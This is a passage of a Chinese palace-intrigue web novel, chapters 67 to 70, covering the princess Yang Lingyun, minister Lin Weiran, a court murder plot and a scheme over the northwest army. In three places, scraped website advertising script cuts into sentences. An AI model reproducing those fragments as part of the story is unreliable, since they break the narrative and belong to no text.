陈荷华染上寒食最终寻死,而杨灵允四年前也被下过寒食。 杨灵允感受到他落在自己背上微微颤抖的指尖,忽然抬眼看他:“其实我觉得陈荷华寻死,未必全是因为张氏的打骂。” 林魏然怔了片刻,没想到怎么突然说起这个了。 “寒食会吞噬一个人的意识,让人变得行尸走肉,但也会有偶尔的清明,”杨灵允轻声道,“陈荷华寻死的时候,正是陈扶苏穷途末路开始向外人借银子的时候。” “或许她寻死,也有一部分原因是觉得自己这辈子已经被寒食毁了,不想再拖累旁人。” 在林魏然微怔的神色中,杨灵允轻轻笑了笑:“但我不是陈荷华,我熬过了寒食的折磨。我已经好了,不会消失,更不会寻死。” 67. 第 67 章 朱雀大街上的一间茶舍内,一男一女临窗相对而坐。 男人漂亮的眉眼间满是烦厌:“王文辅那个废物,没有扳倒姓林的,反而被姓林的反将一军。” 女人轻笑一声,“这跟我有什么关系?王文辅是你的人,又不是我的人。” 男人脸色微变,眯了眯眼,“我们如今已是一条船上的人,别以为我不知道你有多大的野心。” “那你把王文辅再解决了不就行了,”女人拿起桌上茶杯,低头轻轻吹了一口,仿佛很专注地在品茶。 男人嘴角缓缓浮开艳绝的笑,他侧头看了看楼下路过的行人,一窗之隔,隔开天与地。 他低声唤了声女人的名字,然后笑道:“你当我是傻子吗?” 笑容温和艳丽,言辞却截然相反。 女人终于放下茶杯,抬眼看他,柳眉微蹙:“你什么意思?” “你也跟王文辅有过联系,不然王文辅凭什么帮你解决成百万?成百万一死,姓林的可就再也查不出京中寒食究竟从何而来了。” 男人也伸手拿起自己身前那杯茶,收敛了笑意淡淡道:“想借我的手杀王文辅,可没这么容易。” “王文辅若是被长公主撬开了嘴,你我都逃不了,”女人敲了敲桌,声音中带着冷意。 男人抬眼笑道:“不,是你逃不了。从头到尾,我做了什么?我什么都没做啊,我只是让王文辅去试探试探公主殿下,寒食的出现、御史台的弹劾、成百万的死,这一切可都是你的手笔。” 女人沉默片刻,又道:“难道你还没试探出来?你就是长公主手里的一把刀,等长公主想清算的人清算完,你就没了用处。如今她已经跟傅氏决裂,在朝堂上呆不久了,等她走后,她手中的那些人命可都是你担着。” “你说得这般信誓旦旦,难道是在长公主府里安插了人?”男人略带嘲讽地笑了一声,并未买账。 女人心平气和,淡淡笑道:“长公主府不好安插,难道傅令珏身边还不好安插?况且傅令珏带着伤怒气冲冲地离开公主府,在傅宅可不是件隐秘事,你自己去打听打听,就知道我说得是真是假。” 男人脸上闪过一丝动摇。 女人见状,继续笑道:“五王的那对龙凤胎已经在我手里,傅氏也准备换人下注。来我这边,你才能一辈子高高在上,高枕无忧地做权臣。” —— 公主府内,天色微黄,夏风轻轻吹拂着府内的花木,摇曳出蓬勃生机。 杨灵允支着下巴坐在石椅上,看林魏然在水井边倒腾着什么,过了好一会,才拖长了声音懒洋洋道:“林尚书,你好慢呀。” 林魏然回头看,嘴角勾着吟吟笑意:“好没良心啊小祖宗,我这可是做给你吃的。” 杨灵允换了个更舒服的方式撑着,歪头看他,像是抱怨像是嗔怪,“厨房都已经做好了送过来。你偏要插手,害我到现在都没吃上酥山。” 热风将两人含笑的声音缓缓缠在一起,密密麻麻,难以分离。 林魏然端着改良后的酥山放到杨灵允面前,伸手拍了下杨灵允的指尖,仿佛是在抱怨,可嘴角的笑意遮都遮不住:“倒打一耙。分明是你自己说太甜了不爱吃,我才插手。” 桌上的那碗酥山经林魏然之手后,冷气更盛,原本厨房浇上的那层厚厚的蜂蜜也被刮掉了不少,碗边更多了一圈青色的果子,中和了蜂蜜和糖的甜味,闻起来都不觉甜腻。 杨灵允眼神微亮地盯着那碗酥山,也没空管林魏然的嗔怪,拿起勺子舀了一勺,眼底同时亮起满足的笑意。 林魏然也坐到了她的对面,笑吟吟地看她吃这碗酥山。 自此云婉死后,杨灵允已经很久没吃到这般符合自己心意的甜品——虽然太极宫和公主府都是一等一的御厨,但因着本朝风气所致,做甜品时总会太甜。纵然提点,也很难让她满意。 只有八年前林魏然做的甜品和一年前云婉做的那些甜品,能完美契合杨灵允对甜品的堪称无理取闹的甜度要求。 在酥山顶已经被挖空一半后,杨灵允动作微顿,仿佛突然意识到什么,将刚刚挖好的一勺递了过去,凤眼微弯:“喏,给你。” 林魏然扬眉笑笑,接过杨灵允手中的木勺,又陡然转了个方向,送进她口中。 被忽然送进一口冰凉的酥山,杨灵允吃得脸颊都微微鼓起,清瘦的脸上也一下变得圆润了些。 林魏然忍不住伸手戳了戳。 杨灵允一下拍开他的手,等清甜的味道在口中蔓延开,又顺着喉咙下滑后,她才没好气地瞪了眼林魏然:“我好心分你一口,你竟还捉弄我。” 林魏然忍不住低笑出声:“看你那护食的模样,我要真吃了,你不心痛?” 杨灵允懒得看他,低头继续吃,边吃边含糊地嘟嘟囔囔着:“我怎会那般小气?” 但其实八年前杨灵允的占有欲便已经初见雏形——那时,她的东西,就不允许旁人沾染分毫。 林魏然对她的那些脾性了解得清清楚楚。 “不是都说君子远庖厨么?”杨灵允吃着,忽然抬头,好奇道,“怎么你的手艺这么好?” “离家早,自然什么都会一点。”林魏然笑道。 “可你八年前还住在侯府吧?”杨灵允怀疑道,“我记得你八年前手艺就已经不错了,比宫里的厨子都要好。” 林魏然眨了眨眼,忽然伸手指了指桌上那碗酥山:“再不吃可要化了。” 盛夏炎热,就算已近黄昏,热意依旧不可小觑。这短短一小段时间,碗边已经有些水珠滑落了。 杨灵允又埋首吃酥山,没工夫管刚刚那个没完的话题。 林魏然看着她额角的黑发随着她的动作轻微摇晃,嘴角笑意不自觉更深——从八年前开始,他的手艺就是专门为杨灵允练的。 杨灵允口味刁钻,他那手艺放到外面都是要被人骂一句的,只有在杨灵允这里,才算得上—— “好吃。” 木勺被搁到木 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 托盘上,杨灵允满意地靠在了椅子上,眯眼笑道。 “能再做一碗吗?”她眼神发亮地看着林魏然。 却被林魏然毫不犹豫地拒绝了:“不行,魏院判说你不能贪凉,一日最多一碗。” 没得到想要的,杨灵允撇撇嘴,没再作声。 林魏然起身转到杨灵允背后,替她捏着肩颈,轻声笑道:“明日我再给做给你吃。” 杨灵允任由他那包藏私心的动作,只微微仰头,自下而上地看着他锐利的面部轮廓,最后伸手揪了揪他的领子—— “那说好了,明天再给我做。” “嗯,”林魏然微微倾身,温热的气息抚过杨灵允的耳边,他含笑道,“我每日都给你做。” 石椅不知是年久失修还是被热气熏化了,竟有了轻微的摇晃。 林魏然便将杨灵允抱到了一边的秋千上。 漫天霞光落下,地上两道紧密相依的人影微微摇晃。热风抚过,带来草木的清冽和鲜花的芬芳,混着两人温热的呼吸,一同纠缠在这片静谧的院子里。 时间仿佛在这一刻暂停。 他们也宁愿时间就暂停在这一刻。 但老天总是喜爱捉弄人的—— 在夜色初降之时,杨言终于硬着头发敲响了院门,禀报道:“公主,刑部侍郎王清安求见。” 杨灵允陡然从半梦半醒的休憩间惊醒,“进来说话。” 杨言这才敢推门而入,装作没看见与杨灵允分享着同一把秋千的林魏然,眼观鼻鼻观心,就是不抬头看:“他在外边候了好一会,说是有事要找——林太傅。” “不过奴才没说什么,第一时间来禀报公主了。” 杨灵允低笑一声,侧头看林魏然,戏谑道:“你的人还挺聪明,都找到我这来了。” 林魏然伸手捏了捏杨灵允的脸——先前被酥山塞得满满的脸颊早已再次清减下去。他微不可察地叹口气,起身又问道:“一起去?” 还没等杨灵允开口,杨言再次飞速开口:“王侍郎在门口说着只要找林太傅,说有要事。” 林魏然皱眉,神色微变。 杨灵允摆摆手笑了下:“你自己去吧,我今夜就在公主府了。” “那我见完他就回来。”林魏然沉默片刻,坚持道。 杨灵允笑了笑,没说好也没说不好,只是道:“快去吧,别让你的人等急了。” 在林魏然离开这间院落后,杨言才忧虑着开口—— “公主,这王家的人都已经胆大妄为到我们府上了……” “不用管,”杨灵允挥了挥手,再没了先前林魏然在时的浅笑,神色漠然,“傅宅那边有消息吗?” “傅二小姐成日只在院子中练武,并无消息。” 杨灵允靠在秋千上缓缓阖上眼,指尖轻轻敲了片刻,“我记得十多年前,傅令珏还在刑部的时候……有过一桩案子,好像是西北的什么人死在了长安。你去把这案子卷宗调出来,别惊动了人。” 68. 第 68 章 半个时辰前,王清安一脸忧虑地回家告诉王正安——“林尚书不在家中啊,下了朝后,就没人知道他去哪了。” “他家中管家呢?”王正安顺了顺花白的胡子,沉声问道。 王清安挠挠头:“林尚书独居,家中也没有管家仆从。” 王正安沉默片刻,敲了敲一边木桌,又抬眼看看泛黄的天色,在这一瞬间做了决定:“去公主府找。记得,指名说只要见林魏然。” “祖父?”王清安迟疑着开口——先不论林魏然有没有在公主府,他们就这样指名道姓地上门找人,无异于把长公主的颜面放在脚下踩啊。 王正安缓缓坐下,阖眼挥挥手,声音变得疲惫,“去吧。谁都找不到他的话,那么必然是他自己故意隐匿行踪,不想让旁人知道。除了公主府,没有第二个地方。” 时辰拨回至夜色初上之际,林魏然踏出公主府的大门,问道:“你怎么会来这里?” 王清安低声道:“祖父告诉我的。林尚书,祖父在家等你,有要事与你相商。” 夜风早已吹散了先前公主府内的那点温馨平和。热意未消的夏夜中,夜风裹进了一股不知从哪来的微凉寒意。 林魏然回头望了眼红金交合的公主府大门,又看了眼形色焦虑的王清安,阖了阖眼,最终抬脚离开公主府。 王府,王正安已经在院内的椅上阖眼,仿佛睡着了。 但在王清安带着林魏然进门的那一刻,他也陡然睁眼,眼底一片清明。 “老师,”林魏然垂首问好,“有什么事吗?” 王正安看了看一边的王清安,挥挥手示意他先出去,等院内只剩师生二人时,他盯着林魏然,缓缓开口:“你还与长公主纠缠不清?” 这话仿佛是质问,但语气实在太过平静,三朝元老的面孔上看不出任何的情绪。 林魏然沉默片刻,拱手淡道:“若王相找下官来,只为说这些私事,那么恕下官先行离开。” 王正安猛然拍桌:“私事?什么是私事,什么是公事,你分得清吗?” “下官不是瞎子。”林魏然淡淡道,行了个礼转身就想离开。 王正安盯着他挺拔的背影,直到他的手即将推开院门,才缓缓开口——“王文辅死了。” 他眼角眉心的皱纹在这一瞬间变得非常深刻,声音也变得很沉 林魏然的脚步陡然僵在原地。 夏夜的风也忽然间变得很缓慢,院内寂静无声。 王正安缓缓站起,眼神幽深地盯着林魏然的背影:“他今日刚刚弹劾过你,失败后,一日不到,人已经死在家中。消息我暂时压下来了,但是藏不了多久。” “王相今日找我来,”林魏然转身,嘴角扯开意味不明的弧度,“究竟是要做什么?” “你今日在朝上与陛下一唱一和,配合得好,”王正安嘴角弯起细微的弧度,更显沧桑,“陛下显然是更信任你,所以我来找你。王文辅的死,总要有人负责,你在刑部,正是个好机会。” “你想把王文辅的死安在长公主头上?”林魏然眼瞳变得幽黑,盯着王正安一字一字警告道,“这才是真正的罔顾律法,王相。” “陛下,是长公主一手扶持上去的,”王正安坦然地回看着他,平静道,“但长公主背后的傅氏绝不可能就这样看着陛下亲政。这种表象的和平维持不了太久,不如早点掀了桌子,脱开一切桎梏。” “我会找到真正的凶手。”林魏然收敛了笑意,阖了阖眼,又哑声唤了声——“老师。” “是你教我要守礼守法,现在你却要告诉我这些在权力面前狗屁不如吗?” 王正安忽然走近,很轻地笑了一声,眼底也染上浑浊之色:“容时,你跟太子真的太像了。太子仁善念旧情,心存公正礼法——” “但是他死了!” 王正安声音陡沉,伸手指了指院落一角的佛堂,“身为帝师,就有必须要尽的责任。天子年幼,公主强盛,朝纲不稳,迟早出事。” “她若想要那个位置,四年前她就可以拿。”林魏然冷声反驳,“说到底,是你们疑心太盛。” 王正安利落地承认了:“我是疑心深重。因为我不能拿朝局去赌人心。” “人是会变的容时,”王正安叹息一声,“四年前她不要,那四年后呢?她不想要权力,那傅氏呢?” “临安长公主出身傅氏,是傅氏家主傅影的亲孙女,这是朝野皆知的事。” 云氏其实只是一个横在林魏然与杨灵允之间的假象。傅氏,才是他们真正难以触碰的高墙。 只是因为如今傅氏并没有什么动作,这堵高墙时隐时现,连林魏然有时都觉得这堵高墙其实并不存在。 但今夜王正安再次将这堵高墙明明白白地立了起来,告诉林魏然——墙就是墙,不是他们装聋作哑就能当作不存在的。 林魏然一点点捏紧了手,五指狠狠嵌进掌心。 王正安眼神扫过他泛白的骨节,语调平静地继续开口:“容时,今日你敢直言废举荐,广开科举,我就知道,你最后一定会做出正确的决定。” “我虽为一家之长,但我也支持你的废举荐,广科举的提议。但朝中还有不少反对的声音——大多都是长公主那边的人。” 院内再次陷入了长久的沉寂。 过了许久,林魏然忽然冷笑出声:“王相,别把人当傻子。我是想推行科举制,但我决不会以权谋私。况且,朝中只要是世家出身的,哪个不反对我?别说得好像是长公主在背后授意针对我似的。” 王正安阖了阖眼,继续缓声道:“你当真以为长公主不会针对你?你当真觉得她最后会放权?你知不知道太子被困东宫的三年,长安城中有多少血……” “我知道,”林魏然猛然打断了王正安的话,喃喃重复了一遍——“我知道。 然后他抬眼盯着王正安那双饱经风霜的厉眼,神色微厉:“那又如何?旧事重提毫无意义。我只要知道她不会阻止我推行这条政令,足以。” “那你可知朝中有多少傅氏子弟和门生是蒙阴入仕的?” 王正安仿佛瞬间苍老,幽幽叹息一声,继续道:“你这条政令下去,挡了傅氏的多少路?容时,两次朝堂巨变你都不在长安,你没有体会过长公主的手段,那是毫无底线的利用和算计。” “容时,不要再执迷不悟了。” 老者沧桑的声音回荡在院中,王正安一脸的语重心长,似乎当真是在为林魏然考虑。 林魏然慢慢垂了眼睛,沉默下来。 杨灵允的算计,上元节那会他便已经彻底地体会过。在杨灵允布的局中,所有人都只是一枚棋子,不论情感,只论用处。但—— 那又如何? 林魏然再次抬眼,眼底染上细微的讽意:“王相,没有长公主,慢慢熬死先帝,要熬到什么时候?没有长公主,三王之一或许已经先一步下手,夺了皇位。没有长公主,有我们这些太子党如今的东山再起吗?” “天下人可以说她心狠手辣。”林魏然盯着王正安的眼睛,幽黑的眼眸中满是暗沉沉的晦色。 他一字一顿,缓慢开口,“但我们这些太子旧臣,无论你,还是我,都,没有,资格。” 王正安被他眼底隐约闪现的疯狂怔住了片刻——他第一次感受到自己这个向来公正温和的学生,原来身上也带着一股不管不顾的疯劲儿。 他沉默许久,才沙哑着开口:“你是帝师。现在这样为长公主说话,是要改换门庭吗?” 此话若是被外人听见,无异于惊天炸雷。 但这院中只有师生二人。 所以林魏然神色未变,只合了眼眸,声音很轻:“我与陛下一样,为江山社稷,为天下百姓做事。” 王正安忽然从喉间溢出沙哑的低笑,彻底将话摆到了明面上:“话说得真好听。那我让你先下手为强,借王文辅之死削弱长公主势力,难道不是保社稷安稳?你为何不做?” “我会查出真正的凶手。”林魏然对上那双带着嘲讽、不解、还有痛惜的眼睛,再次重复了一遍,“这也是我的职责。” 他的手再次按在了门上。 就在门即将被推开时,王正安沙哑沧桑的声音再次响起—— “张氏自缢了,容时。”王正安坐在椅上纹丝未动,阖上眼皮,语调平静得仿佛是在陈述一个人尽皆知的事实,“王文辅不是长公主杀的,那么张氏呢?容时,你早已跟她不是一路人了。” 林魏然喉结滚动了一下,忽然很轻地笑了一声:“老师,你有一点说错了。” 王正安的神色终于有了细微的意外,他睁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼,便对上林魏然平静无波的眼眸。 “你说我做事公正有底线。但我的底线是对我自己,不是对宣和。我不会拿我的做事风格对宣和有任何的要求。” 在王正安难以置信的眼神中,林魏然扯了扯嘴角,忽然觉得自己鼻端仿佛传来了浓郁的桂花味,他轻轻笑一声,继续开口:“我只要她能好好活着。” 刺啦一声,椅子在地上被拖出刺耳的声音,王正安难得失态地瞪着她,喘着粗气:“她要谋反呢?你也要做个睁眼瞎吗?” “她不会。”林魏然斩钉截铁道,“如今的安稳是靠宣和的半条命撑起来的,她不会再打破。” 王正安被林魏然陡然凌厉的气势怔住了,有片刻的失神。再回过神来时,林魏然已经离开了。 只剩他一人留在这空荡荡的院子中,寂静无声。 他耳边仿佛又响起了杨灵允清脆的声音——“王师傅。” 还有杨灵允沉静的声音——“王相。” …… 纷纷杂杂的声音上涌,王正安忽然想起来,原来当初杨灵允也是他的学生。他也曾真挚地希望当初那个不受宠的临安公主能找到一个真正爱她的人,能过得好。 但在长久的时间中,这些早已模糊不清。他只记得杨灵允是临安长公主,是朝局中的一个极不稳定的因素,是他的对立方。 —— 公主府内,杨言急匆匆来报——“公主,王文辅死了。” 杨灵允陡然明白过来——王清安为什么会来公主府找林魏然了。 王清安的背后是王正安,王正安疑心深重,对傅氏背后的那些蠢蠢欲动的小动作早已不满,所以想借王文辅之死让林魏然与她彻底划清距离。 杨灵允忍不住低低地笑了一声。 这笑声却让一边的杨言愈发惊心,怀疑公主是不是被姓王的那些人给气疯了。 就在他摇摆不定着要不要开口说话时,杨灵允忽然合上卷宗,从秋千上站了起来,“还有多久宵禁?” “半个时辰。” 杨灵允去了公主府的大门。钱其还在门口守着,见杨灵允出来连忙问是不是出什么事了? 杨灵允摆摆手:“出来看看。” 公主府坐落在王公贵族所属的坊市,又独占一条街,加之接近宵禁,路上只有零落的灰尘和叶片,糅杂着淡淡的月色。 除此之外,空无一人。 杨灵允倚在门柱边上,盯着公主府前的街道,一言不发。 钱其终于忍不住了,在后边悄悄问杨言:“公主到底来看啥啊?” 杨言白他一眼,除了林太傅,还有谁? 但这种话他是万万不敢说的,所以他只能投给钱其一个自己琢磨的眼神。 钱其琢磨了好一会也没琢磨出什么,索性直接开口:“公主是不是在等谁啊?谁这么大架子,竟敢让公主等?” 这一连串的话太多,导致他没控制住音量,粗犷的嗓音回荡在寂静的门口。杨言连忙竖起食指示意他小点声。 但杨灵允显然是听见了,她回头,似笑非笑地看了眼钱其:“这么好奇我在等谁吗?” 钱其不好意思地挠挠后脑勺,“属下知错,公主恕罪。” 杨言在一边恨不得捂上他的嘴。 杨灵允又回头望了眼空荡荡的街道,直起身子,淡淡地笑了一声:“可惜了,你今夜是看不到答案。” “他不会回来了,走吧。” 其实这是早晚的事,早一点晚一点并没有什么区别。杨灵允的神色非常平淡。 裙摆飘过公主府的门槛。公主府的大门却毫无动静,杨言跟钱其仿佛仍旧站在原地一动不动。 “还等什么?我都说了他不会回来……” 杨灵允边说边回头,然后脚步瞬间僵在原地—— 跟前几日一样,林魏然忽然就出现在她眼底,长身如玉,神色比夜色还要温柔三分。 “你……?”杨灵允少见地愣在了原地。 林魏然已经大步上前,第一次在旁人眼前就失态地紧紧搂住了她,用力得仿佛要将她融入骨血之中,低哑的声音随着夜风一起带来滚烫的温度—— “就这么不相信我吗?我明明说会回来的。” 缱绻的声音中仿佛还带着几分委屈和不甘。 69. 第 69 章 两人不约而同地没有提起旁的事,一起进了杨灵允的院子,然后关门。 院门外,钱其和杨言对视一眼,钱其咬牙切齿地开口:“又是这个人?” 杨言无奈地将人拉走,边叹气提醒:“公主都没说什么,咱们更不能多嘴。” 院门内,林魏然愤愤地在杨灵允唇上咬了下,不满道:“你就真的不问王清安找我做什么吗?” 但他到底也没舍得用力,力道轻得连唇上一层薄薄的皮都没咬破。 杨灵允舔唇笑了下,牙齿上下一合,忽然微微后仰,拉开了些与林魏然的距离,轻声道:“王正安找你,无非是想让你别再跟我纠缠不清。” 她还笑着,露出两颗尖尖的虎牙。削尖的脸上没有除了那点看不出是高兴还是不高兴的笑,别无他物。 垂落的几缕黑发轻轻飘动,扫过苍白的双颊,遮住了上扬的眼尾,无端给杨灵允添了几分脆弱之感。 林魏然僵在原地,在盛夏的夜晚,寒意却从他头顶直直浇下,浇得心底发寒。 他终于后知后觉地意识到——原来杨灵允从未觉得他会与她站在一边。 她对他没有半分期望,但又毫不犹豫地接纳他。 “为什么……啊?”眼底忽然漫上热意,林魏然死死掐着自己的掌心,才勉强能维持住如今的体面。 他一点点地低头,一点点地凑近,微颤的声音清晰地落在寂静的夜中。 杨灵允看着他忽然变得很难过的脸色,有些不知所措。 她给了林魏然完全的选择自由,可他为什么看上去这么难过? 杨灵允抿抿唇,忽然伸手抚过他的眼睛,轻声道:“王正安的顾虑也是情理之中的事,你……” 她话还没说完,忽然被林魏然一下堵住了嘴。 唇齿相交间传来滚烫的热意,还糅杂了一股极淡的铁锈味。 渐渐的,杨灵允有些难以喘息,抬手推开了林魏然。 分是分开了,林魏然的手却握住了她的肩,血从他唇角缓缓淌下,他却毫无知觉,只盯着杨灵允的眼睛,缓慢地开口—— “你是不是从来都觉得,我早晚有一天会站在你的对立面?” 杨灵允第一次有些逃避地垂下了眼,一言不发。 这态度更说明了一切。 林魏然颧骨下的皮肉有微微抽搐,似笑非笑,似哭非哭。 他努力地做这么多,为的就是在朝局彻底平稳后能与杨灵允一起离开,一起长长久久地在一起。 可她却从来没觉得他们能长久。她从来没抱过希望。 林魏然定定地看着杨灵允的眼睛,眼底闪过悲哀的疯狂狠绝,但半晌后,开口时声音却已经变得很平静:“宣和,我和王正安说了,我……” 只是他的话也没能没说完,始终沉默的杨灵允忽然抬手掩住了林魏然的嘴,轻声开口—— “别说这些,容时哥哥。你回来,我就很高兴了。” 她不想听,也不想知道更多。剖白心迹的话在她这里仿佛是一个诅咒,每一个说会站在她这边的人,结果都死了。 她不想林魏然也步上哥哥的后尘。 林魏然缓慢地拉开杨灵允的手,扯了扯嘴角,想笑却笑得很难看:“你对我们的将来从来没抱任何期待吗?” 杨灵允看着他染着水光的眼眸,阖眼又睁眼,笑了笑,声音很轻:“我比谁都期待将来。我如今做的一切都是为了将来。” “但容时哥哥,”她唇齿间轻柔地滚过这个暧昧不清的称呼,仰身靠在冰冷坚硬的墙上,抬头看幽蓝晦暗的天色,“谁都不知道日后会发生什么,不要轻易给我许诺,我会当真的。” “你可以当真!”林魏然脱口道。 “人是会变的容时哥哥。” 杨灵允不愿去想林魏然如今的态度到底是为什么。 因为爱她?还是因为看清了她与傅令珏、傅氏的糟糕关系?可她不愿去想,脑海却已经不自主地开始想着,并一点点往最悲观的方向靠拢。 “只要你今天还陪着我,就够了。” 杨灵允终于落下眼神,看着林魏然,唇边挑起一抹笑,“今朝有酒今朝醉,明日愁来明日愁。不好吗?” 可这前两句,是——得即高歌失即休,多愁多恨亦悠悠。 林魏然颓然松开了握着杨灵允双肩的手,垂下长睫。但在看见杨灵允微弯的眼睛时,他眼底忽然闪过一丝发狠,然后伸手捂住了她的眼睛,再次低头—— 尖锐的犬齿衔着杨灵允的唇,但连半点力都舍不得用上,只能反复不断地轻轻摩挲。 林魏然眼神愈发幽暗,另一只手掐着她的腰往上抬。 陡然悬空间,视线和脚踏实地的安全感全无。杨灵允却没有半分不满,反而伸手抱住了他。 林魏然的唇下滑到杨灵允脖颈边,他恶狠狠地吮.吸一下,心想——不好,才不好。 这种看似洒脱实则悲观得毫无期待的态度,一点都不好! —— 一条政令的推行总是不易的,底下人虚与委蛇,相互推脱,写好的条令和奏章一次次卡在中书、门下、尚书三省。 林魏然既要顾着推行科举,广开天下学院,又要顾着刑部的寒食一案,渐渐忙得脚不沾地。 不过寒食一案在成百万死后彻底没了线索,禁令宣告天下后坊市上也没再出现过寒食了。 政令那边又有小皇帝的支持和他们新提拔的官员暗中支持,虽有坎坷倒也算小有成效。 一切都在缓慢地往林魏然所期待的方向推进。 这日,林魏然照常给小皇帝讲完书,请安告退后,又很熟练地拐去了一趟太医院。 魏连望刚刚从公主府请脉回来,见林魏然来了拱手问好。 “不必多礼,”林魏然连连摆手,语气中有些迫切的期待,“公主如何?好转了吗?” “公主思虑过重,导致气郁结于五脏六腑,”魏连望叹气着坐下来,“臣已经给公主换了好几副药,始终收效甚微。” “就没别的办法吗?”林魏然拧眉追问,“夏季炎热,本就容易食欲不振,公主更是严重,这才几日就又瘦了不少。” 魏连望深深叹口气,将一副写好的方子递给林魏然:“林太傅,公主的底子在四年前就被闻妩的寒食毁了一半,加之这些年思虑太重,郁结于心,不是几副药下去就能医好的。这是药膳,林太傅若能让公主多用一些,也算聊胜于无。” “公主这病……“魏连望叹息一声,抬眼看了看林魏然,还是说出口,“需静养,忌思虑过盛。” 林魏然捏紧了手中方子,低声道谢,“我知道了。” 他告辞离开了太医院,从宣德门出宫。 宫中从来都没有密不透风的消息。杨言自然收到了风声——林魏然在很长一段时间内,多次见过魏连望。 时间都是魏连望从公主府请脉回去后。 他急忙马不停蹄地去告诉了杨灵允,并请罪说最近忙着金吾卫中的事,竟忽视了宫中事。 杨灵允摆摆手,淡淡道:“不用管。” 杨言陡然瞪大了眼,“公主?他这可是私探……” “我说了不用管,”杨灵允瞥他一眼,加重语气,“杨言,顾好金吾卫那边的事就可以。魏连望的事,不用你管。” 杨言陡然反应过来——魏连望是比他还早效忠公主的人,怕是林魏然第一次找上魏连望,公主就已经知道了。 想到这里,杨言连忙撕碎了手中消息,告罪退下。 离开院子后,他才抬手擦了擦额上的汗,咂舌着再次放低了心底公主对林太傅的底线。 “你对你手下的人也不尽信任啊?”一个不该出现的人忽然从院子的另一边现身,声音冷淡,“你的管事太监如今管着金吾卫,你就在截断他宫中的消息。” 杨灵允抬眼看她,淡淡道:“傅二小姐来公主府,不是来教我做事的吧?” 傅令温在她对面的椅子上坐下,挂在腰上的佩剑撞出哐当响声。她神色已然变了,眉眼间流转着肃杀之色——“长公主,你当初背叛了对我的承诺,你觉得我如今还会信你?” “小姨,”杨灵允轻轻笑着,换了个称谓,“我不是要与你再谈一笔交易,我就是来履行当初的承诺。” 傅令温冷笑出声:“拿我哥的事情威胁我?” “不是威胁,”杨灵允心平气和,“只是给小姨看看。先帝在时便有心削弱世家,所以傅影为保傅氏的地位在西北养寇自重。这种事,从十多年前就开始了。” “小姨当初肯给我傅氏养寇自重的一部分证据,定是心存良知心系百姓。与小姨做交易,我自然不会违约。” “但你却拿着我的那份证据去威胁我爹出兵帮你夺权!”傅令温在杨灵允轻淡的言语中脸色愈发难看,脸上的皮肉微微抽搐,咬牙道,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你还说不是背叛?” “傅二小姐,”杨灵允轻叹一声,年轻的面庞上露出一种与年龄不相符的老神在在,“冷静一下,你当初是要我阻止傅氏继续养寇自重,为西北百姓谋一个安稳的生活。但那时我分身乏术,手上也没权,怎么帮你?只有夺了权,我才能帮你啊。” 平淡的声音在盛夏之际仿佛带着一股冷意。傅令温习惯性地握上腰间佩剑,倏地沉默下来。 杨灵允眯了眯眼,微不可察地示意暗处的钱其和幼荷不要冒动,耐心地等着傅令温想明白。 半晌之后,傅令温再次松开握剑的手,抬眼看杨灵允,神色平静:“好,那你说说,你要如何兑现答应我的事?” 杨灵允微笑起来:“其实很简单,养寇自重的是傅影,只要西北军换个掌权将军,不就好了?” “西北军不乏傅家军,”傅令温冷嘲热讽,“朝中谁有这个能力彻底掌管西北军?况且我爹在西北多年,怎么可能轻易放权。公主殿下,不要想得太简单了。” “那你呢?”杨灵允定定看着傅令温,笑意渐渐漫上眼底,“你也在西北多年,军队中都是靠军功说话,以你的军功,怎么来说也够封侯拜相了吧?” 这种大逆不道的话让傅令温彻底失了耐心。她猛然起身,神色倏地沉下:“你要我背叛我爹?不可能!就算他有再多的不好,他也是我爹,是你的外祖!” “不是背叛,”杨灵允神色不变,压了压手淡淡道,“傅老将军年纪大了,朝堂体恤,特赐他在西北卸甲归乡。西北军,有能者,无论男女,皆可接之。” “傅令珏是个读书人。你既姓傅,又在西北随军打仗多年,是不二人选。” 傅令温仿佛被钉在原地。杨灵允声音平淡,却仿若有一种蛊惑人心的意味。她想走,却始终迈不开脚,喉咙滚了又滚,才挤出沙哑的声音—— “你掀了自己爹的位置,现在又想来怂恿我掀我爹的位置?” “小姨啊……”杨灵允深深地吐出一口气,抬手撑住了脑袋,抬眼看她,神色倦怠,“我跟你实话实说吧。傅影和傅令珏害了我哥,我是不会放过他们的。” “但是你不一样,我这个人恩怨分明,我哥的事与你没有半点干系,所以我愿意把西北军交给你,保证西北不会有动乱。而看在你的面子上,我也可以不杀傅影和傅令珏,只要他们这辈子都别出现在长安。” 傅令温瞪着杨灵允,咬牙开口:“他们是你的亲人。” 杨灵允仿佛听到笑话一般,弯了弯唇:“我手上沾着的血亲之血还少吗?” 先帝、一年前的三王、还有大长公主……傅令温神色有片刻的僵硬,意识到杨灵允是认真的。 杨灵允看了眼傅令温的神色,又开口道:“我非常厌恶傅氏的每一个人,只要出现在我眼前我就忍不住想到我哥,想把所有害过他的人都杀了陪葬。但是我哥生前说不要替他报仇,他输了是他技不如人,他认。” “我哥最大的愿望就是朝政安稳,百姓安居,”说着杨灵允忽然垂眼,缓慢转动着手腕上那串光滑的佛珠,“我要完成他的遗愿。” “那你不厌恶我?” 佛珠转动的声音忽然有片刻凝滞。杨灵允动作僵了片刻,垂眼轻声道:“许是我对你们这种人都有一种莫名的容忍。” 傅令温不知道杨灵允口中的你们指的还有谁,但大约不会是傅氏的人。 “小姨,”杨灵允极快地抛开心底的那点不明不白的感慨,再次抬眼看傅令温,缓声劝道,“只有真正掌握权力,才能做你想做的事。况且你心底清楚,仅凭你是劝不动傅影出兵彻底清寇的,所以你一年前才会找上我和哥哥不是吗?” “我并没有威胁你的意思,明码标价,一切都由你自己选择。” 一片阴影在她的言语间忽然落下——傅令温走近几步,她很高,挡在杨灵允面前,将盛夏的阳光遮得严严实实。 她弯腰看杨灵允。 在这个角度,傅令温的五官与已逝的端贤皇太后有五分相似,只是声音在长久的行军生涯中已经有些沙哑—— “筹码你摆出来了,价格呢?” 杨灵允看着眼前与母后相似的脸庞,忽然弯唇笑开,缓缓起身。 风扬起墨色宽袖,她整个人在风中显得很消瘦,与傅令温天差地别。 但她开口时整个人的气势陡然变得锋利:“在我需要的时候,清君侧。” 70. 第 70 